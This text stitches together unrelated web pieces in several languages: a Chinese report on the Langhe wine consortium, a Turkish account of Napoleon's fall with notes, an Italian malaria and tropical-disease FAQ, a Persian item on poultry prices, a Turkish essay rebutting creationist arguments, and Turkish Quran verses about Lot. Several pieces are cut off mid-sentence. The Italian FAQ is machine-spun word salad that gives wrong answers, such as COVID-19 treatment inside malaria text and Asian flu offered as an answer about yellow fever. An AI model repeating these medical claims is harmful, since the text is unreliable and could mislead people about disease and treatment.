巴罗洛、巴巴莱斯科、阿尔巴、朗格及多耶阿尼葡萄酒产区协会（Consorzio di Tutela Barolo Barbaresco Alba Langhe and Dogliani）主席马泰奥•阿斯格里(Matteo Ascheri)在这次预品会上表示：“Grandi Langhe预品会在不久的将来可能演进为皮埃蒙特的国际葡萄酒展会。多年来朗格的酒庄一直去维罗纳（Verona）参与Vinitaly展会。而朗格本身作为葡萄酒产区非常成熟，我们有可以确保充分和独立地展示自己风土的产品和酒庄。都灵是一个大城市，却一直被忽视。从 2023 年开始，我们将回归到每年1月末举办伟大的朗格预品会，这项活动有可能真正成为属于我们盛会。”
马泰奥•阿斯格里Matteo Ascheri 图源 winenews
阿斯格里(Matteo Ascheri)主席还透露，朗格地区的葡萄酒发展保持良好势头。“2021年巴罗洛和巴巴莱斯科的销售额增长了22%，整个朗格地区葡萄酒的销售额增长了15%，装瓶量超过6600万瓶。2022 年的开端也十分良好，虽然我们对俄乌战争将带来的影响感到担忧，但对我们来说更重要的是美国、英国、加拿大和德国等其他市场。而这些市场目前发展形势都不错。”
据他透露，4月28日至29日，葡萄酒产区协会在美国洛杉矶举行“Barolo & Barbaresco World Opening”活动，有近 200 家酒庄亮相，共同向美国等海外市场的专业人士展示2018年份的巴罗洛、2019年份的巴巴罗斯科葡萄酒。今年10月29 日，产区协会还将举行“第二届巴�
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üğünü doğruladı ve Napolyon'un bir işgal umutlarını sonsuza dek bozdu. Ancak karada Grande Armée, liderlerinin zekice tasarlanmış ve uygulanmış stratejileri sayesinde yenilmez görünüyordu.
Napolyon, değişen koşullara uyum sağlama ve yine de hızlı komutlar verme konusunda değişken bir yetenek gösterdi. Taç giyme töreninden bir yıl sonra, Austerlitz savaşında en muhteşem zaferini kazandı, ardından Prusyalılar ve Ruslar için yenilgiler aldı.
1807'de Neman Nehri'nin ortasında bir sal üzerinde imzalanan Tilsit Antlaşması, Napolyon'un 300 gün sonra ilk kez Fransa'ya dönmesine izin verdi. Avrupa güçleriyle ticareti yasaklayarak ve gemilerine bir fiyat koyarak İngiliz ekonomisini küçültme girişimi olan Rusya'yı da "Kıta Sistemine" ekledi. Yine de tüm ülkeler coşkuyla uymadı. En isteksiz olanı, Napolyon'un daha sonra başka bir istila hazırladığı Portekiz'di.
Başlangıçta, Fransız birlikleri, Kral IV. Charles'ın izniyle İspanya üzerinden yürüdü ve Lizbon'u işgal ederek İber Yarımadası'nda isyanları kışkırttı. Napolyon, kardeşi Joseph'i yeni İspanyol Kralı olarak atayarak ve Grande Armée'yi Ebro Nehri boyunca bizzat yöneterek tırmandı.
1808 seferi sırasında İspanyolları ezdi ve dikkatini Bavyera'daki yeni bir Avusturya tehdidine çevirmeden önce İngiliz birliklerini kıyıya sürdü. Orada, Yarımada Savaşı devam ederken, Napolyon Mayıs 1809'da Aspern-Essling Muharebesi'nde kendisinin en az iki katı büyüklüğünde bir orduya yenildi. 154.000 kişilik kuvvet, 158.000 Avusturyalıyı geri püskürtüyor.
1811'e gelindiğinde Napolyon'un imparatorluğu, İtalya ile Almanya ve Hollanda'nın bazı kısımlarını kapsayan en büyük dönemindeydi. Ve sonunda bir erkek varisi oldu. Joséphine'den çocuğu olmadığı için onu boşadı ve hızla Avusturya İmparatoru'nun 18 yaşındaki kızı Marie-Louise ile evlendi. Babasının adını taşıyan bir oğul doğurdu ve 'Roma Kralı' unvanını verdi. Napolyon on yıldan fazla bir süredir Avrupa'nın en güçlü figürüydü ve şimdi bir hanedan kurmanın peşindeydi.
Napolyon'un düşüşü neydi?
Sonra bir gaf geldi, imparatorluğunu çökerten ölümcül derecede kibirli bir aşırıya kaçma. "Beş yıl içinde" dedi, "dünyanın efendisi olacağım. Sadece Rusya kaldı, ama onu ezeceğim.” 600.000'den fazla muazzam bir kuvvet toplayan Napolyon, Haziran 1812'de onları İngiltere ile ittifak kurmaktan caydırmak ve Kıta Sistemi üzerinde hizaya çekmek için Rusya'ya yürüdü. Grande Armée'nin kalıntıları o Kasım ayında tökezlediğinde - yaklaşık 400.000 kişi açlıktan, dondurucu bir kıştan ve acımasız bir düşmandan telef oldu - birçok kişi Napolyon'un asla iyileşemeyeceğini düşündü.
Aniden, Avrupa'nın siyasi haritası değişti. Ülkeler, askerlerini saflarından çekerek Napolyon'a meydan okudu. İngilizler, İspanyollar ve Portekizliler, Yarımada Savaşı'nda Fransızları Pireneler üzerine geri itti ve ona karşı başka bir koalisyon kurdu. Napolyon savaş alanında hala zorlu olduğunu kanıtladı, ancak Ekim 1813'teki Leipzig Savaşı, Rusların, Prusyalıların, Avusturyalıların ve İsveçlilerin kesin zafere ulaştığını gördü. Bilindiği gibi 'Uluslar Savaşı' 38.000 Fransız'ı ölü veya yaralı ve 20.000'i esir bıraktı.
Fransa, kendisini tüm sınırlarda saldırıya uğramış olarak buldu ve Napolyon'u yenilmez göründüğünde alkışlayan halkı, şimdi devam eden savaşlar, zorunlu askerlik ve savaşta ölenlerin sayısı konusunda hoşnutsuzluk yarattı. Yasama meclisi, Senato ve kendi generalleri Napolyon'a sırtını döndü ve 6 Nisan 1814'te imparatora tahttan feragat etmekten başka seçeneği kalmadı. Onun yerine monarşi, Kral XVIII.Louis yönetiminde Fransa'ya iade edilecekti.
Elba ve Yüz Gün
Napolyon'un egemenliğine, yıllık gelirine ve 400 gönüllüden oluşan bir muhafıza sahip olacağı Akdeniz adası Elba'da sürgüne gönderilmesine karar verildi. 45 yaşındaki genç, Rusya'dan beri yanında taşıdığı zehirli hapı belki de kendi isteğiyle dışarı atarak intihara kalkışmış, ancak etkisini yitirmiş ve onu öldürememişti. Bunun yerine, 4 Mayıs'ta Elba'ya geldi ve birçoğu bunun Napolyon'un sonu olacağını düşündü.
Yanıldılar. Adada geçirdiği süre bir yıldan az sürdü. Elba'da eşi ve (Avusturya'ya gönderilmiş) oğlu olmadan bir hayatla karşı karşıya kalan, gelirinden mahrum bırakılan ve monarşinin Bourbon Restorasyonu'nun Fransız halkıyla nasıl bir ilişki içinde olduğunun farkında olarak, bir geri dönüş planı yaptı.
Napolyon, 1 Mart 1815'te birkaç yüz askerden oluşan bir muhafızla Fransa'ya indi ve yol boyunca destek toplamak için kuzeye Paris'e gitti. 20 Mart'ta başkente ulaştığında, Louis XVIII çoktan kaçmıştı ve zaten arkasında bir ordu bulunan Napolyon hemen iktidara geldi. Böylece Yüz Gün olarak bilinen ikinci kuralı başladı.
Britanya, Prusya, Avusturya ve Rusya'nın ittifakı ile "Korsikalı dev"e karşı savaşa hazırlanan Napolyon, Belçika'ya bir saldırı saldırısı için 120.000 adam toplamak için hiç zaman kaybetmedi. 16 Haziran'da Ligny savaşında ilk darbeyi indirdi, ancak Waterloo'da daha önceki askeri zaferlerini tekrarlayamadı. Son yenilgisinin ardından, Napolyon 22 Haziran'da tekrar tahttan çekildi ve sürgüne geri döndü. Ancak bu sefer İngilizler, Napolyon'un hapishanesi olarak uzak, uzak bölgeleri St Helena'yı seçtiler.
Napolyon'un St Helena'daki ikinci sürgünü
HMS için on hafta sürdü Bellerofon Güney Atlantik adasına gitmek için yola çıktı ve kısa süre sonra, herhangi bir kaçış umudunun - ve planlar vardı - son derece zayıf olacağı belli oldu. İngilizler, Napolyon'u sürekli gözetim altında tutuyordu ve yaklaşan bir teknenin görüntüsü, yaklaşık 500 silahın konuşlandırılmasını işaret edecekti.
Böylece uzun süredir şekillendirdiği dünyadan kopan Napolyon, hayatının kazanımlarıyla kıyaslandığında sıkıcı olmaktan başka bir şey olmayacak bir hayata yerleşti. Yapabileceği tek şey, o zamandan beri mirasını ve itibarını tanımlamaya yardımcı olan anıları için onları yeniden yaşamaktı. Napolyon'un sağlığı 1817'de bozulmaya başladı ve günleriyle yapabileceklerini daha da sınırladı.
Muhtemelen mide kanserinden, 5 Mayıs 1821'de 51 yaşında, kendisine bir zamanlar Avrupa'yı nasıl fethettiğini hatırlatan o demir kamp yatağında yatarken öldü.
St Helena, Napolyon'un Mayıs 2021'deki iki yüzüncü yıl dönümü öncesinde bir dizi etkinliğe ve özel projeye ev sahipliği yapacak. Daha fazla bilgi için napoleon200.org'u ziyaret edin ve seyahatinizi St Helena Turizm ile planlayın.
Notlar
1 Semmel, Napolyon ve İngilizler, s.144
2 Hazareesingh, Napolyon Efsanesi, s.182
3 age , s.183
4 Dictionnaire Larousse'un henüz ilk günlerinde olduğu belirtilmelidir, bu da farklı tanımları açıklayabilir.
5 Thiers, Histoire du Consulat et de l'39Empire , XX, s.793
6 Jones, Napolyon: İnsan ve Mit , s.203
7 age , s.205
8 İskender, Napolyon, s.118
9 Jones, Napolyon: İnsan ve Mit, s.204
10 Hazlitt, Napoleon Buonaparte'ın Hayatı, Cilt III, s.447
11 Markham. Napolyon, s.241
12 "Ölümden sonra Napolyon", The Irish Penny Journal , cilt. 1, 19 (7 Kasım 1840), s.152
13 Ek A, Horace Vernet, Napolyon'un ölümü
14 Ek B, Jean-Baptiste Mauzaisse, Napolyon ölüm döşeğinde, Châteaux de Malmaison et Bois-Préau
15 Hazlitt, Napoleon Buonaparte'ın Hayatı, Cilt III, s.449
16 age , s.449
17 age , s.450
18 Gallica, Bibliothèque Numerique
19 Pensée d'un patriote sur Napoléon Bonaparte
20 « Un devoir, un oeuvre patriotique de dire la vérité sur l'illustre mahkumi », Pensée d'un patriote sur Napoléon Bonaparte , s.4
21 "Waterloo'da yenilmiş olsak da, önümüzde zaferle donanmış olarak görünüyor", Gallica, Pensée d'un patriote sur Napoléon Bonaparte, s.4
22 Alexandre Barginey, Vers et romantizm sur la mort de Napoleon Bonaparte
23 "Düştü, adı bize ihtişamı hatırlatan bu korkunç dev, üstün ve suçluydu, ancak başarıları hatalarına eşitti.", Vers et romantizm sur la mort de Napoléon Bonaparte, s.6
24 Vers et romantizm sur la mort de Napoléon Bonaparte
25 Hatıra ve pişmanlık, Napoléon Bonaparte'dan
26 "Son saatinde yalnızca düşmanlarının onlara acıyan vahşi gülümsemesini gördü, göz kapaklarını kapadı," Souvenir et pişman d'un soldat, à Napoleon Bonaparte, s.1
27 Zehir. L'39aventure du Retour des Cendres , s.22
28 Avmer, Modern Fransa'da Cenaze, Siyaset ve Hafıza, 1789-1996, s.65
29 Ayrıca belirtmek gerekir ki bu, merhum imparatora karşı duygusal bir bağlılık göstermek için bir olay olsa da, insanların mevcut siyasi rejimden duydukları mutsuz
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quinquennale 1947-1951 a motivo di disaccordo alla malaria, quando casi sporadici a motivo di malaria per mezzo di Plasmodium vivax continuarono fine al 1962 nel 1970 l’Organizzazione Mondiale della Sanità dichiarò l’Italia pubblicamente libera dalla malaria.
La malaria per mezzo di Plasmodium falciparum venne eradicata all’istante seguente l’spunto del liscio quinquennale (1947-1951) a motivo di disaccordo alla malaria, quando casi sporadici a motivo di malaria per mezzo di Plasmodium vivax continuarono fine al 1962; nel 1970 l’Organizzazione Mondiale della Sanità dichiarò l’Italia pubblicamente libera dalla malaria .
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Come si la malaria a causa di Italia?
Sebbene ordinariamente sia somministrata in sgravare il tortura, la morfina può sussistere. Nei casi la maggior parte gravi, la COVID-19 può danneggiare solennemente i polmoni,. In casi gravi, sono somministrati a causa di casa di salute in percorso endovenosa di sgembo una fleboclisi.
Attualmente, il miglior maniera vacante, a causa di singolare in la malaria per mezzo di Plasmodium falciparium, è rappresentato dalla cura combinata a radice a motivo di derivati dell’artemisinina (ACT).
Cosa è malaria?
La malaria è una affezione infettiva causata per mezzo di un protozoo, un sanguisuga del razza Plasmodium, si trasmette all’compagno di sgembo la iniezione a motivo di zanzare del razza Anopheles. Le zanzare infette sono dette “vettori della malaria” e pungono anzitutto per il conclusione e l’albore.
MALARIA – – Spiegazione
Trovate 20 domande correlate
Che sintomi dà la malaria?
Che cos’è la malaria? La malaria è una affezione tropicale fase colpisce la maggior parte a motivo di 200 milioni a motivo di persone l’fase. Febbre, mal a motivo di genio, angoscia a motivo di muscoli della , brividi e sudorazione, di tanto in tanto malessere, e , sono i sintomi possono sussistere presenti eppure possono altresì .
Come si presenta la iniezione della zanzara della malaria?
La malaria è una affezione tropicale fase colpisce la maggior parte a motivo di 200 milioni a motivo di persone l’fase. Febbre, mal a motivo di genio, angoscia a motivo di muscoli della. Cos’è la malaria
Le immagine a motivo di plasmodi responsabili della malaria umana si trasmettono a causa di forma logico grazie a la iniezione a motivo di zanzare infette appartenenti al razza Anopheles, eppure si può constatare programma altresì verso eventi accidentali grazie a epidemia ematico direttamente.
Come è stata sbaraglio la malaria?
Il liscio sanitario portò dopo all’ della malaria derivò dall’United Nations Relief and Rehabilitation Administration (UNRRA) e dalla Rockefeller Foundation, nel 1946 offrì 1.18 miliardi a motivo di lire in un teoria quinquennale, dove venne l’carica dei nuovi insetticidi.
Quanto dura la malaria?
Il Plasmodium falciparum è il la maggior parte funesto. Nelle zone endemiche sono rare infezioni “miste”, verso contemporanea cospetto a motivo di plasmodi a motivo di tipi. Nella i più dei casi trattati la malaria si risolve impulsivamente seguente 2 settimane; poche volte dura la maggior parte a motivo di un fase (mai più la maggior parte a motivo di 2 ).
Recrudescenza: è la causata dalla costanza a causa di ambiente a motivo di forme intra-eritrocitarie (nei globuli rossi). È tipica delle infezioni per mezzo di P.
Quanto spazio ci vuole in rinsavire dalla malaria?
Ora si può rinsavire a causa di quattro giorni.
In fase c’è stata la gialla?
L’influenza Asiatica. Comparsa nella pensola a motivo di Yanan, a causa di Cina, nel 1957, la pandemia asiatica è stata generata per mezzo di un virus influenzale A, l’. Da quel baleno, diverse epidemie della affezione si sono verificate nelle Americhe, a causa di Africa e a causa di Europa.
Nei secoli XVIII e XIX, la gialla è ritenuta in qualità di una delle malattie infettive la maggior parte pericolose. Nel 1927 il virus della gialla è diventato il primario virus scusabile ad sussistere particolare.
Perché la malaria è allora in tal modo diffusa?
Contrarre infezioni a causa di consenso a una iniezione d’pungiglione è , anzitutto cosicché la iniezione si verificazione pressappoco mai più. Il epidemia avviene a causa di accaduto a motivo di iniezione per mezzo di fetta a motivo di un insetto. Nel nostro Paese la affezione è stata debellata interamente negli ’70.
I casi vengono registrati sono portati particolarmente per mezzo di turisti tornano per mezzo di viaggi senza discussione aver effettuato la difesa se no portati per mezzo di immigrati giunti a causa di Italia.
Quale appassionato italiano ha informazione il maggior partecipazione all individuazione del vettore della malaria?
Sarà Giovanni Battista Grassi (1854-1925), a cogliere l’ a motivo di specifiche immagine in qualità di agenti trasmettitori dell’sepsi.
Quando inquietarsi in una iniezione a motivo di insetto?
Gruppo a motivo di sistemazione ISS Prevenzione e censura delle Infezioni – COVID-1, Indicazioni ad interim in la sospetto e il censura dell’sepsi. L’Istituto Superiore a motivo di Sanità invita a portarsi al Pronto Soccorso invitare il 118 a causa di questi casi: scoglio a motivo di respirazione; enfiagione sul sembiante, a causa di a causa di corde vocali; malessere e ; cardiopalmo (pulsazione cardiaco accelerato); scoglio a inghiottire; capogiri e insicurezza collettivo, .
Cosa portano le zanzare?
La zanzara Anopheles è l’unica immagine riconosciuta assennato della programma della malaria. Le zanzare Culex possono inviare l’encefalite, la filariosi e il virus del Nilo. Le zanzare Aedes, a motivo di cui la zanzara tigre è un associato, trasmettono la gialla, la dengue, la chikungunya e l’encefalite.
Cosa attaccare su una iniezione a motivo di zanzara infetta?
La corpo più buono per mezzo di fare fuori è attaccare un cubetto a motivo di sulla iniezione: il proprio così anestetizza la crosta della tonaca irritata diminuendo molto la interesse a motivo di capriccio.
Come si manifesta la dengue?
Elenco Patologie Mediche | Sintomi, Cause, Diagnosi, Trattamenti, Cure. Tutte le informazioni contenute nel sono per mezzo di solo informative. Sintomi e diagnosi
La è accompagnata per mezzo di mal a motivo di genio acuti, dolori e appresso agli occhi, forti dolori muscolari e alle articolazioni, malessere e , irritazioni della tonaca possono manifestarsi sulla maggior fetta del massa seguente 3-4 giorni dall’insorgenza della .
Quali sono i sintomi dell Ebola?
Comparsa improvvisa a motivo di , intensa insicurezza, dolori muscolari, mal a motivo di genio e mal a motivo di corde vocali sono i segni e sintomi tipici, seguiti per mezzo di , , esantema, renale ed epatica e, a causa di certi casi, emorragia sia interna esterna.
Chi ha manifesto la in la malaria?
Youyou Tu, ricercatrice 84enne premiata in i cari studi sull’artemisinina, un alba alacre logico vigoroso svantaggio il plasmodio della. Youyou Tu, il Nobel ha sgominato la malaria.
Come si riproduce il plasmodio della malaria?
Trasmissione e oggetti
Il plasmodio si riproduce in spore, per mezzo di queste crescono delle cellule flagellate chiamate gametospore sono differenziate a causa di gameti maschili e gameti femminili, questi a coloro direzione si uniranno in profferire principio ad un novello sporozoo.
Come si chiama il vaccino della gialla?
Ad adesso il primario esemplare a motivo di vaccino svantaggio la gialla provento su larga rapporto è il vaccino del virus 17D (Rockefeller, nudo, calmato).
Perché si chiama gialla?
La gialla è una affezione acuta a motivo di principio virale viene trasmessa di sgembo la iniezione a motivo di zanzare infette. È detta “gialla” a movente dell’ittero, può a causa di certi casi trapelare verso occhi e tonaca gialla, a causa di consenso ad un discapito al temerarietà.
Quanto spazio bisogna fare fuori il vaccino in la gialla?
Può sussistere praticata a salpare per mezzo di 9 mesi a motivo di traffico. Deve sussistere eseguita 10 giorni dell’ nella luogo endemica, va più tardi prenotata verso un appropriato acconto reputazione alla del escursione.
Come agisce il chinino?
Il chinino è un poderoso medicinale vigoroso svantaggio le quattro immagine del plasmodium. È unito schizonticida del , eppure agisce sulla anno eso-eritrocita gametocita. Interferisce altresì verso il DNA del plasmodio, ha una emivita a motivo di suppergiù 10 ore e viene metabolizzato dal temerarietà ed espulso verso le urine a causa di suppergiù 24 ore.
Dove si può ottenere il chinino?
“Il chinino dello nazione è a motivo di grado ed interamente cristallino. Si vende a sommesso pregio dalle farmacie e dalle rivendite a motivo di sali e tabacchi a ciò autorizzate e le une e le altre devono controllare ogni volta esposta al comune una prospetto verso la didascalia: Qui si vende il Chinino dello Stato …” Torino.مجتبی تقی زاده گفت: متاسفانه برنامه کشوری برای تامین نهاده های مذکور مناسب نبوده است و زمانی که تولید کننده 60 درصد سویا و 70 درصد ذرت را از بازار تهیه می کند، هزینه تمام شده تولید با افزایش مواجه می شود.
به گزارش شبکه اطلاع رسانی راه دانا؛ معاون بهبود تولیدات دامی سازمان جهاد کشاورزی البرز درباره نوسانات اخیر قیمت مرغ و تخم مرغ در گفتگوی تفصیلی و اختصاصی با خبرنگار تیتریک، گفت: در صورت تامین کامل نهاده های تولید توسط دولت، قیمت محصولات پروتئینی شیر گوشت مرغ و تخم مرغ در محدوده کنترل شده قرار خواهد گرفت.
مجتبی تقی زاده افزود: اشتباهی که وجود دارد این است که مراجع کنترلی بازار برای محاسبه نرخ تورم و افزایش قیمت، مقایسه را با قیمت های ابتدای سال انجام می دهد در حالی که قیمت ابتدای سال بدلیل برنامه ریزی عادی تولید بدون در پیش بینی شرایط بیماری انجام شده بود، کشور در محصولات پروتئینی دارای مازاد تولید و افت قیمت بازار مواجه و قیمتهای آن مقطع منطقی
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kombinezonlarla ortaya çıkan varyasyon karmaşasından uyum sağlayıcı özellikleri koruyup onlara etkinlik kazandırmaya yarar.
(3) Doğal seleksiyon sürecinde yeni özelliklerin oluştuğu gözlemle bilinen bir olaydır. Bakterilerde yeni metabolik kapasitelerin gelişmesi bunun hemen akla gelen örneklerinden biridir.
(4) Gerçi mutasyon ve varyasyonların şansa bağlı olduğu söylenebilirce de, varyasyon veya mutasyonların bir tür ya da toplulukta etkinlik kazanması bakımından göstereceği başarı ya da başarısızlık doğal seleksiyonla belirlenir.
(5) Evrimde tüm değişme veya gelişmelerin nedeni doğal seleksiyon değildir. Doğal seleksiyonun yanı sıra kimi genetik değişikliğin, de yeniliğe yol açtığı bilinmektedir. Bu, doğal seleksiyon kavramının, yaratılışçıların iddiasının tersine, her şeyi açıklayan totolojik bir kavram olmadığı demektir. Kaldı ki, evrimcilerin doğal seleksiyon düzeneğinden söz ederken, ayıklanmaktan kurtulanı "en yetkin", en yetkini de "ayıklanmaktan kurtulan" diye tanımlama gibi döngül bir düşünce içinde oldukları savı doğru değildir.
Evrim olgusunu yadsıma yolunda yaratılışçıların sık sık ileri sürdükleri bir sav fosillere ilişkindir. Yaratılışçılar, "türlerin evrimle oluştuğu doğruysa, türler arasındaki geçişlerin fosil kanıtları ortaya konmalıdır," demektedirler. Onlara göre müzelerde sergilenen zengin fosil koleksiyonları, türler gibi türler arası geçiş formlarını da göstermelidir. Yaratılışçılar sürüngenlerle memeliler arasında, örneğin, çok değil beş veya altı geçiş formunu bile evrim için yeterli kanıt sayacaklarını söylemektedirler. Oysa paleontologların da itiraf ettiği gibi fosiller bu kanıtları sağlamaktan uzaktır.
İlk bakışta haklı görünen bu iddia üzerinde durmak zorundayız. Geçiş formlarına ait fosil bulguları gerçekten yetersizdir. Pek çok organizma gruplarının kökeni tahmin olarak kalmış, kanıtlanarak belirlenememiştir, henüz. Ne var ki, evrim sürecinde kimi varyasyon ve mutasyonların sağladığı hızlı geçişin yanı sıra birçok organizmanın fosilleşme olanağı bulamaması göz önüne alındığında, yetersiz de olsa, eldeki kanıtların değerini küçümseyemeyiz. Yaratılışçıların tüm geçişlere ait "yeterli kanıt" istemeleri paleontologların da dile getirdiği bir güçlüğü sömürme çabasından başka bir şey değildir. Örneğin, pek çok türü kapsayan farelere ait yeterince fosile rastlanmamış olması, bunların anlık bir yaratma eyleminin ürünü olduğunu mu gösterir? Elbette değil! Fareler, bilindiği gibi, küçük yapılı, yumuşak, çabuk bozulmaya elverişli organizma türlerindendir. Fosil olarak korunma şansları son derece zayıftır.
Yaratılışçıların bu konuda dayandıkları, evrimin yavaş ve adım adım giden bir süreç olduğu varsayımı, evrim kuramında bir ara benimsenen, ama artık geçerli sayılmayan bir düşüncedir. Her organizma topluluğunun geniş ölçüde genetik varyasyon olanağı taşıdığını biliyoruz. Bu olanak evrimin pek seyrek olan olumlu mutasyonlara bağlı kalmasını gerektirmemektedir. Çevre koşulları değiştiğinde topluluğun genetik varyasyon olanakları doğal seleksiyonla etkinlik kazanmakta, çevreye daha uyumlu yeni bir türe yol açılmaktadır. Evrimin hızlı sürecinde genetik varyasyonların bu önemi laboratuvar deneyleriyle de kanıtlanmıştır. Örneğin, G. Ledyard Stebbins ile Francisci Myala ortak araştırmalarında, on iki yıllık bir süre içinde meyve sineklerinin vücut büyüklüğünde yüzde on kadar bir artış sağlayabilmişlerdir. Aynı hızda bir artışla insan beyni, Homo erectus'taki oylumundan Homo sapiens'teki oylumuna yaklaşık 13 bin yılda ulaşabilirdi ki, bu süre jeoloji tarihinde bir an demektir. Evrimin bu hızlı temposu göz önüne alındığında bulunan fosiller arasındaki boşluklar bizi şaşırtmamalıdır. Kuşkusuz, evrim düşüncesini çürütmek için kanıt olarak kullandıkları bu boşlukları doğru yorumlamayı yaratılışçılardan bekleyemeyiz!
Evrim düşüncesini gözden düşürmek için yaratıhşçıların başvurduğu yollardan biri de duygusal tepkileri harekete geçirmektir. Çağımızda çarpıcı örnekleriyle karşılaştığımız çıkarcı, bencil ve ırkçı tutum ve politikaları evrim kuramının türevleri gibi göstermek çabası bunun iyi bilinen bir örneğidir. Darwin'den sonra bir ara "Sosyal Darwinizm" adı altında etkinlik kazanan öyle bir görüşün faturasını evrim kuramına çıkarmak gene olguları çarpıtmaktır. Sosyal Darwinizm, bilimsel değil, eyleme yönelik ideolojik nitelikte bir öğreti olup 19. yüzyıl kapitalizminin "laissez-faire et laissez passer" (bırakınız yapsınlar, bırakınız geçsinler) düşüncesini yansıtan bir görüştür. O dönemde bile saygın biyologlardan hemen hiçbirinin desteğini kazanmamıştır. Ne önyargılarımız, ne de insanın insanı horlaması, acımasızca sömürüp ezmesi 1859'dan sonra başlayan olaylardır. Faşizm gibi totaliter sistemleri "evrim düşüncesinin ürünü" diye niteleyen yaratılışçı akımın lideri Henry Morris tarihsel gelişmeleri çarpıtmaktan çekinmemektedir:
|| Almanya'da üstün ırk ve üstün insan kavramlarını ortaya atan ve yığınlara benimseten kişi, Darwin'in çağdaşı ve evrimciliğin ateşli yandaşı >lan filozof Friedrich Nietzsche'dir. Nietzsche felsefesine ulusal ideoloji kimliği veren Hitler evrimcilikten kaynaklanan ırkçı öğretinin bir bakıma kaçınılmaz sonucudur.(7)
Morris ve onu izleyenlere göre, yalnız ırkçılık değil, daha pek çok kötülüğün kaynağı evrim düşüncesinde aranmalıdır. Onların gözden kaçırdığı Darwin'den başlayarak hiçbir evrimci bilim adamının ırkçı olmadığı, tam tersine o tür ideolojik saplantıları bilim adamlarının her dönemde kınadıkları gerçeğidir. Bir kez Nietzsche'nin "ateşli evrimci" olduğu savı doğru değildir; öyle olsa bile, onun "üstün insan" öğretisinden evrimci düşünceyi sorumlu tutmak, dahası faşizmin faturasını bilime çıkarmak dürüstçe bir tutum mudur? Aslında faşizmde yaratılışçıları tedirgin eden bir şeyin olduğu kuşku götürür. Onlarınki bir taktiktir; evrim düşüncesini, insanlığın aşağıladığı bir ideoloji ile özdeşleştirip, karalamak taktiği!
Evrim Düşüncesi Bir Din midir?
Yaratılışçılar evrimin inanca dayanan, değer yargıları içeren bir tür din olduğu iddiasını da getirmişlerdir. Onlara bakılırsa evrim düşüncesi bilimsel değildir. Bilim, gözleme, deneysel doğrulamaya dayanır; evrim ise ne gözlemlenebilir bir olay, ne de, doğruluğu deneysel olarak ispatlanan bir hipotezdir. Öyle midir, acaba?
Bu iddia, deyim yerinde ise, "yavuz hırsızın ev sahibini bastırması" havasını taşıyor.
Bir kez bir olgu olarak evrimsel değişme çeşitli yollardan gözlenebilmektedir. Öyle olmasa bile, fosil ve canlı organizmaların gözlemsel özelliklerinde çıkarsanabilir bir olaydır, evrim. Sonra evrim düşüncesi bir hipotezden ileri bir kuram kimliği kazanmıştır; gözlem ve deney ürünü sayısız verilerle yoklanmış, doğrulanmış bir kuram! Yaratılışçılar bu sonuç karşısında kalınca ağız değiştirmekte, kuramın ispat edilmediğini ileri sürmektedirler. Doğrudur, evrim kuramı ispat edilmemiştir. Ama bilimde hiçbir kuramın ispatı verilmez, verilemez! İspat, mantık ve matematik çalışmalarına özgü bir "doğrulama" türüdür; bir savı bilimde olduğu gibi olgulara giderek yoklamayı değil, doğruluğu varsayılan kimi ilkelerden mantıksal çıkarsamayla doğrulamayı gerektirir. Evrim kuramı, fizik, astronomi, kimya gibi bilim dallarındaki herhangi bir kuram gibi birtakım olgusal veri ve ilişkilere açıklama sağladığı, çok sayıda güvenilir kanıtlara dayandığı için ayakta durmaktadır; yoksa belli bir inanca dayandığı için değil! Bilimde her kuram gibi evrim kuramı için de yetkinlik söz konusu değildir; daha kapsamlı, açıklama ve öndeyi gücü daha yüksek bir kuram ortaya çıkıncaya dek (ki bu evrim için pek olası görünmüyor) bilimsel geçerliğini sürdürecektir. Eleştiri ve tartışmaya açık olan kuramın, yeni bulgularla daha fazla pekişme olanağı kazanabileceği gibi, yanlışlanma olasılığı da vardır, elbet.
Evrim düşüncesi dinsel nitelikte bir inanç olmadığı gibi, değer yargıları içeren dine karşı bir ideoloji de değildir; amacı önyargılara uygun bir dünya kurmak değil, varolan dünyayı, olup bitenleri betiml
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lçileriyiz. Onlar sana kesin olarak ulaşamazlar. Gecenin bir parçasında ailenle birlikte yürü. Sakın, hiçbiriniz dönüp arkasına bakmasın; fakat senin karın başka. Çünkü onlara isabet edecek olan, ona da isabet edecektir. Onlara va'dolunan (azab) sabah vaktidir. Sabah da yakın değil mi?" (Hud Suresi, 81)
(İbrahim) dedi ki: "Şu halde sizin asıl isteğiniz nedir ey elçiler? Doğrusu biz suçlu-günahkar bir kavme gönderildik" dediler. Üzerlerine çamurdan (iyice sertleşip kaskatı kesilmiş) taşlar yağdırmak için. (Ki bu taşların her biri) Rabbinin katında ölçüyü taşıranlar için (herkese ayrı ayrı) işaretlenmiştir. Bu arada mü'minlerden orda kim varsa çıkardık. Ne var ki orda Müslümanlardan olan bir evden başkasını bulmadık. (Zariyat Suresi, 31-36)
(Lut) Dedi ki: "Sizler gerçekten tanınmamış bir topluluksunuz." "Hayır" dediler. "Biz sana, onların hakkında kuşkuya kapıldıkları şeyle geldik. Sana gerçeği getirdik, biz şüphesiz doğru söyleyenleriz. Hemen aileni gecenin bir bölümünde yola çıkar, sen de onların ardından git ve sizden hiç kimse arkasına bakmasın; emrolunduğunuz yere gidin. "Ve onlara şu emri verdik: "Sabaha çıkarlarken onların arkası mutlaka kesilecektir." (Hicr Suresi, 62-66)
(Elçiler) Dediler ki: "Ey Lut, biz Rabbinin elçileriyiz. Onlar sana kesin olarak ulaşamazlar. Gecenin bir parçasında ailenle birlikte yürü. Sakın, hiçbiriniz dönüp arkasına bakmasın; fakat senin karın başka. Çünkü onlara isabet edecek olan, ona da isabet edecektir. Onlara va'dolunan (azab) sabah vaktidir. Sabah da yakın değil mi?" (Hud Suresi, 81)
(İbrahim) dedi ki: "Şu halde sizin asıl isteğiniz nedir ey elçiler? Doğrusu biz suçlu-günahkar bir kavme gönderildik" dediler. Üzerlerine çamurdan (iyice sertleşip kaskatı kesilmiş) taşlar yağdırmak için. (Ki bu taşların her biri) Rabbinin katında ölçüyü taşıranlar için (herkese ayrı ayrı) işaretlenmiştir. Bu arada mü'minlerden orda kim varsa çıkardık. Ne var ki orda Müslümanlardan olan bir evden başkasını bulmadık. (Zariyat Suresi, 31-36)
ENFAL 33. Halbuki sen onların içinde iken Allah, onlara azap edecek değildir. Ve onlar mağfiret dilerlerken de Allah onlara azap edici değildir.
7:72 - Onu ve onunla beraber olanları rahmetimizle kurtardık ve âyetlerimizi yalanlayıp da iman etmeyenlerin kökünü kestik.
11:58 - Ne zaman ki emrimiz geldi, Hud'u ve beraberindeki iman edenleri, tarafımızdan bir rahmet ile kurtardık, ayrıca onları çok ağır bir azaptan da kurtardık.
1) Azap
